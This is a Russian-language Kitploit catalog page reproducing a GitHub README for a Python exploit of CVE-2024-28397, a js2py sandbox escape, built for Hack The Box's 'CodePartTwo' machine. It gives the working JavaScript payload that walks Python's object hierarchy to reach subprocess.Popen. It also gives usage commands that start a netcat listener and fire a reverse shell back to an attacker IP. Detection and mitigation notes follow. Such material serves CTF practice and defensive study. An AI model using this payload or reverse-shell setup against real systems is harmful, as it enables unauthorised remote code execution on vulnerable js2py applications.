Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-28397 — Этот репозиторий содержит код эксплойта на Python для CVE-2024-28397, предназначенный для использования на машине "CodePartTwo" на Hack The Box (HTB). | Kitploit
Инструменты/GitHubGitHub/naclapor/cve-2024-28397
Анализ уязвимостейЭксплуатацияCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

Этот репозиторий содержит код эксплойта на Python для CVE-2024-28397, предназначенный для использования на машине "CodePartTwo" на Hack The Box (HTB).

Репозиторий
12161 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-28397 Эксплуатация обхода песочницы js2py - (CodePartTwo - HTB)

Код эксплойта на Python для CVE-2024-28397, критической уязвимости в js2py <= 0.74, позволяющей обход песочницы и удаленное выполнение кода.

🚨 Детали уязвимости

  • CVE ID: CVE-2024-28397
  • Затронутое ПО: js2py <= 0.74
  • Серьезность: Критическая (CVSS 9.8)
  • Тип: Обход песочницы / Удаленное выполнение кода
  • Дата обнаружения: Февраль 2024

Описание

js2py — популярная библиотека Python для выполнения кода JavaScript в среде Python. Эта уязвимость позволяет злоумышленникам обойти песочницу js2py и выполнить произвольные команды Python/системы, даже если включена опция js2py.disable_pyimport().

Эксплойт использует возможности интроспекции объектов Python через JavaScript для доступа к классу subprocess.Popen и выполнения системных команд.

🎯 Затронутые приложения

  • Веб-приложения, использующие js2py для выполнения JavaScript
  • Платформы выполнения кода (например, онлайн-редакторы кода)
  • Веб-скраперы, обрабатывающие JavaScript
  • Любые приложения, обрабатывающие непроверенный JavaScript через js2py

🚀 Использование

Предварительные требования

pip install requests

Базовое использование

# Запустить слушатель netcat
nc -lnvp 4444

# Запустить эксплойт
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

Параметры командной строки

--target    URL конечной точки цели (обязательно)
--lhost     Локальный IP для обратного шелла (обязательно)
--lport     Локальный порт для обратного шелла (по умолчанию: 4444)

Пример

python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 Как это работает

  1. Генерация полезной нагрузки: Создание команды обратного шелла, закодированной в base64
  2. Обход песочницы: Использование JavaScript для доступа к иерархии объектов Python через __class__ и __base__
  3. Выполнение процесса: Поиск subprocess.Popen через интроспекцию
  4. Выполнение команды: Запуск команды обратного шелла с помощью Popen
  5. Установка шелла: Подключение обратно к машине атакующего

Технические детали

Эксплойт работает путем:

  • Доступа к Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
  • Прохода по иерархии объектов Python через __subclasses__()
  • Поиска класса subprocess.Popen
  • Создания нового процесса для выполнения обратного шелла

📝 Структура кода эксплойта

// Доступ к иерархии объектов Python
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Поиск класса subprocess.Popen
function findpopen(o) {
    // Рекурсивный поиск по подклассам
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Выполнение команды
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ Обнаружение

Ищите JavaScript-код, содержащий:

  • Доступ к атрибутам __class__ или ___class___
  • Вызовы методов __subclasses__()
  • Ссылки на subprocess или Popen
  • Полезные нагрузки, закодированные в base64, с printf и base64 -d

🔒 Смягчение последствий

  1. Обновите js2py: Обновитесь до исправленной версии (> 0.74)
  2. Проверка входных данных: Очищайте код JavaScript перед выполнением
  3. Изоляция: Используйте дополнительную контейнеризацию (Docker, chroot)
  4. Аудит кода: Проверяйте контексты выполнения JavaScript
  5. Правила WAF: Блокируйте подозрительные шаблоны JavaScript

⚠️ Правовое предупреждение

Этот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей. Пользователи несут ответственность за соблюдение применимых законов и нормативных актов. Несанкционированный доступ к компьютерным системам является незаконным.

📚 Ссылки

  • Оригинальный отчет CVE
  • Репозиторий js2py на GitHub
  • Детали CVE-2024-28397

📄 Лицензия

Этот проект распространяется под лицензией MIT - подробности см. в файле LICENSE.

Скачать инструмент